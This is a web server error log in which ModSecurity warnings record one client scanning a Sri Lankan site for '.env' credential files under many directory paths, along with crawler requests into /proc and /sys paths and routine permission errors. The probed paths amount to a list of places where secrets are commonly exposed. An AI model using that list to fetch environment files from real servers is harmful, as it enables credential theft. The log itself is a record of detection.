[Fri Jul 17 09:26:14.467017 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/cron/.env"] [unique_id "almn3ol9vhFBGA6D8l9_xgAAAAw"]
[Fri Jul 17 09:26:14.508031 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:14.609319 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:14.648383 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn3lh1WDijTxd1xw5R2AAAAAc"]
[Fri Jul 17 09:26:14.656132 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /en/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/en/.env"] [unique_id "almn3o-0g_VSPeIeFN3F-gAAAAs"]
[Fri Jul 17 09:26:14.656517 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/en/.env"] [unique_id "almn3o-0g_VSPeIeFN3F-gAAAAs"]
[Fri Jul 17 09:26:14.657101 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/en/.env"] [unique_id "almn3o-0g_VSPeIeFN3F-gAAAAs"]
[Fri Jul 17 09:26:14.818848 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:14.835720 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/administrator/.env"] [unique_id "almn3g5GPQ6hs4VrfMpHrwAAAAY"]
[Fri Jul 17 09:26:14.836179 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/administrator/.env"] [unique_id "almn3g5GPQ6hs4VrfMpHrwAAAAY"]
[Fri Jul 17 09:26:14.836754 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/administrator/.env"] [unique_id "almn3g5GPQ6hs4VrfMpHrwAAAAY"]
[Fri Jul 17 09:26:14.919698 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.110:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory40/node0/memory58/node0/cpu2/node0/memory38/"] [unique_id "almn3oe39YUk0SgV8AU_rwAAABE"]
[Fri Jul 17 09:26:14.919741 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.110:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory40/node0/memory58/node0/cpu2/node0/memory38/"] [unique_id "almn3oe39YUk0SgV8AU_rwAAABE"]
[Fri Jul 17 09:26:14.922020 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:15.022882 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/psnlink/.env"] [unique_id "almn3xHlOGcokz2QIwTYwgAAAAM"]
[Fri Jul 17 09:26:15.023303 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/psnlink/.env"] [unique_id "almn3xHlOGcokz2QIwTYwgAAAAM"]
[Fri Jul 17 09:26:15.025876 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/psnlink/.env"] [unique_id "almn3xHlOGcokz2QIwTYwgAAAAM"]
[Fri Jul 17 09:26:15.120727 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:15.214911 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/exapi/.env"] [unique_id "almn31h1WDijTxd1xw5R2gAAAAc"]
[Fri Jul 17 09:26:15.215188 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/exapi/.env"] [unique_id "almn31h1WDijTxd1xw5R2gAAAAc"]
[Fri Jul 17 09:26:15.215528 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/exapi/.env"] [unique_id "almn31h1WDijTxd1xw5R2gAAAAc"]
[Fri Jul 17 09:26:15.393259 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/sitemaps/.env"] [unique_id "almn34e39YUk0SgV8AU_sQAAABE"]
[Fri Jul 17 09:26:15.393506 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/sitemaps/.env"] [unique_id "almn34e39YUk0SgV8AU_sQAAABE"]
[Fri Jul 17 09:26:15.393873 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/sitemaps/.env"] [unique_id "almn34e39YUk0SgV8AU_sQAAABE"]
[Fri Jul 17 09:26:15.423849 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:15.530320 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:15.563912 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.backup1"] [unique_id "almn3614q1EBnanVMYGpfQAAAAk"]
[Fri Jul 17 09:26:15.564265 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.backup1"] [unique_id "almn3614q1EBnanVMYGpfQAAAAk"]
[Fri Jul 17 09:26:15.564738 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.backup1"] [unique_id "almn3614q1EBnanVMYGpfQAAAAk"]
[Fri Jul 17 09:26:15.639847 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:15.724155 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.backup2"] [unique_id "almn37EWOaI5pmYo9fnUVQAAAAA"]
[Fri Jul 17 09:26:15.724488 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.backup2"] [unique_id "almn37EWOaI5pmYo9fnUVQAAAAA"]
[Fri Jul 17 09:26:15.724939 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.backup2"] [unique_id "almn37EWOaI5pmYo9fnUVQAAAAA"]
[Fri Jul 17 09:26:15.736639 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:15.837810 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:15.880425 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /logs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/logs/.env"] [unique_id "almn3xHlOGcokz2QIwTYxgAAAAM"]
[Fri Jul 17 09:26:15.880832 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/logs/.env"] [unique_id "almn3xHlOGcokz2QIwTYxgAAAAM"]
[Fri Jul 17 09:26:15.881394 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/logs/.env"] [unique_id "almn3xHlOGcokz2QIwTYxgAAAAM"]
[Fri Jul 17 09:26:16.041781 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:16.041927 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:16.055586 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cache/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/cache/.env"] [unique_id "almn4K14q1EBnanVMYGpgAAAAAk"]
[Fri Jul 17 09:26:16.055883 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/cache/.env"] [unique_id "almn4K14q1EBnanVMYGpgAAAAAk"]
[Fri Jul 17 09:26:16.056294 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/cache/.env"] [unique_id "almn4K14q1EBnanVMYGpgAAAAAk"]
[Fri Jul 17 09:26:16.113945 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:55264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:16.222809 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/mailer/.env"] [unique_id "almn4K14q1EBnanVMYGpgQAAAAk"]
[Fri Jul 17 09:26:16.223064 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/mailer/.env"] [unique_id "almn4K14q1EBnanVMYGpgQAAAAk"]
[Fri Jul 17 09:26:16.223398 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/mailer/.env"] [unique_id "almn4K14q1EBnanVMYGpgQAAAAk"]
[Fri Jul 17 09:26:16.386260 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:16.389958 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/mail/.env"] [unique_id "almn4DsMb3am0TgkjETgFwAAAAo"]
[Fri Jul 17 09:26:16.390220 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/mail/.env"] [unique_id "almn4DsMb3am0TgkjETgFwAAAAo"]
[Fri Jul 17 09:26:16.390598 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/mail/.env"] [unique_id "almn4DsMb3am0TgkjETgFwAAAAo"]
[Fri Jul 17 09:26:16.416116 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:17.017294 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:17.260842 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:17.409254 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:20/eject
